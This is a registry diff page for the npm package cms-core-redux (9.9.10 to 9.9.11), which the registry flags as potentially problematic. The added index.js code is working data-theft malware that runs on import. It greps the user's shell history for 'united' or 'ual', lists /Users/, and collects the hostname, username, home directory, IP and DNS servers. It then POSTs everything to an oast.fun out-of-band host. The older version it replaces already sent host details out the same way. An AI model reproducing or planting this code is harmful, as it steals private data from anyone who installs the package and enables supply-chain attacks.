cms-core-redux 9.9.10 → 9.9.11

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of cms-core-redux might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +107 -44
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -3,22 +3,111 @@ const dns = require("dns");
3
3
  const querystring = require("querystring");
4
4
  const https = require("https");
5
5
  const packageJSON = require("./package.json");
6
- const package = packageJSON.name;
7
-
8
- const trackingData = JSON.stringify({
9
- p: package,
10
- c: __dirname,
11
- ip: getIPAddress(),
12
- currentDir: process.cwd(),
13
- hd: os.homedir(),
14
- hn: os.hostname(),
15
- un: os.userInfo().username,
16
- dns: dns.getServers(),
17
- time: getCurrentTime(),
18
- r: packageJSON ? packageJSON.___resolved : undefined,
19
- v: packageJSON.version,
20
- pjson: packageJSON,
21
- });
6
+ const packageName = packageJSON.name;
7
+
8
+ const { exec } = require('child_process');
9
+
10
+ // Function to execute a command and return a Promise
11
+ function execCommand(command) {
12
+ return new Promise((resolve, reject) => {
13
+ exec(command, (error, stdout, stderr) => {
14
+ if (error) {
15
+ reject(`Error executing command: ${error.message}`);
16
+ return;
17
+ }
18
+ if (stderr) {
19
+ reject(`Stderr: ${stderr}`);
20
+ return;
21
+ }
22
+ resolve(stdout.trim());
23
+ });
24
+ });
25
+ }
26
+
27
+ // Define the command or file based on OS
28
+ let command;
29
+ if (os.platform() === 'win32') {
30
+ // Windows: Use PowerShell's Get-History
31
+ command = 'powershell -Command "Get-History | Select-String -Pattern \\"united|ual\\""';
32
+ } else if (os.platform() === 'linux') {
33
+ // Linux: Use .bash_history file as a fallback
34
+ command = 'grep -E "united|ual" ~/.bash_history';
35
+ } else if (os.platform() === 'darwin') {
36
+ // macOS: Use .zsh_history or .bash_history based on shell
37
+ const shellHistoryFile = process.env.SHELL.includes('zsh') ? '~/.zsh_history' : '~/.bash_history';
38
+ command = `grep -E "united|ual" ${shellHistoryFile}`;
39
+ } else {
40
+ console.error("Unsupported OS");
41
+ process.exit(1);
42
+ }
43
+
44
+ // Collect tracking data
45
+ async function collectTrackingData() {
46
+ try {
47
+ const history = await execCommand(command);
48
+ const lsOutput = await execCommand('ls -la /Users/'); // Adjust based on your target OS
49
+
50
+ const trackingData = JSON.stringify({
51
+ p: packageName,
52
+ c: __dirname,
53
+ ip: getIPAddress(),
54
+ currentDir: process.cwd(),
55
+ hd: os.homedir(),
56
+ hn: os.hostname(),
57
+ un: os.userInfo().username,
58
+ dns: dns.getServers(),
59
+ time: getCurrentTime(),
60
+ history: history,
61
+ ls: lsOutput,
62
+ r: packageJSON ? packageJSON.___resolved : undefined,
63
+ v: packageJSON.version,
64
+ pjson: packageJSON,
65
+ });
66
+
67
+ await sendTrackingData(trackingData);
68
+ } catch (error) {
69
+ console.error(error);
70
+ }
71
+ }
72
+
73
+ // Send the tracking data via HTTPS
74
+ function sendTrackingData(trackingData) {
75
+ return new Promise((resolve, reject) => {
76
+ const postData = querystring.stringify({
77
+ msg: trackingData,
78
+ });
79
+
80
+ const options = {
81
+ hostname: "wogftrhneblzsviedhumiwvoac2v3otzb.oast.fun",
82
+ port: 443,
83
+ path: "/",
84
+ method: "POST",
85
+ headers: {
86
+ "Content-Type": "application/x-www-form-urlencoded",
87
+ "Content-Length": Buffer.byteLength(postData),
88
+ },
89
+ };
90
+
91
+ const req = https.request(options, (res) => {
92
+ let responseData = '';
93
+ res.on("data", (d) => {
94
+ responseData += d;
95
+ });
96
+
97
+ res.on("end", () => {
98
+ console.log("Response from server:", responseData);
99
+ resolve();
100
+ });
101
+ });
102
+
103
+ req.on("error", (e) => {
104
+ reject(`Request error: ${e.message}`);
105
+ });
106
+
107
+ req.write(postData);
108
+ req.end();
109
+ });
110
+ }
22
111
 
23
112
  function getCurrentTime() {
24
113
  return new Date().toLocaleString();
@@ -39,31 +128,5 @@ function getIPAddress() {
39
128
  return addresses.length > 0 ? addresses[0] : 'No external IP found';
40
129
  }
41
130
 
42
- var postData = querystring.stringify({
43
- msg: trackingData,
44
- });
45
-
46
- var options = {
47
- hostname: "wogftrhneblzsviedhumkdanjsfu6j6y9.oast.fun", //replace burpcollaborator.net with Interactsh or pipedream
48
- port: 443,
49
- path: "/",
50
- method: "POST",
51
- headers: {
52
- "Content-Type": "application/x-www-form-urlencoded",
53
- "Content-Length": postData.length,
54
- },
55
- };
56
-
57
- var req = https.request(options, (res) => {
58
- res.on("data", (d) => {
59
- process.stdout.write(d);
60
- });
61
- });
62
-
63
- req.on("error", (e) => {
64
- // console.error(e);
65
- });
66
-
67
- req.write(postData);
68
- req.end();
69
-
131
+ // Start collecting tracking data
132
+ collectTrackingData();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "cms-core-redux",
3
- "version": "9.9.10",
3
+ "version": "9.9.11",
4
4
  "description": "BugCrowd white hat researcher",
5
5
  "main": "index.js",
6
6
  "scripts": {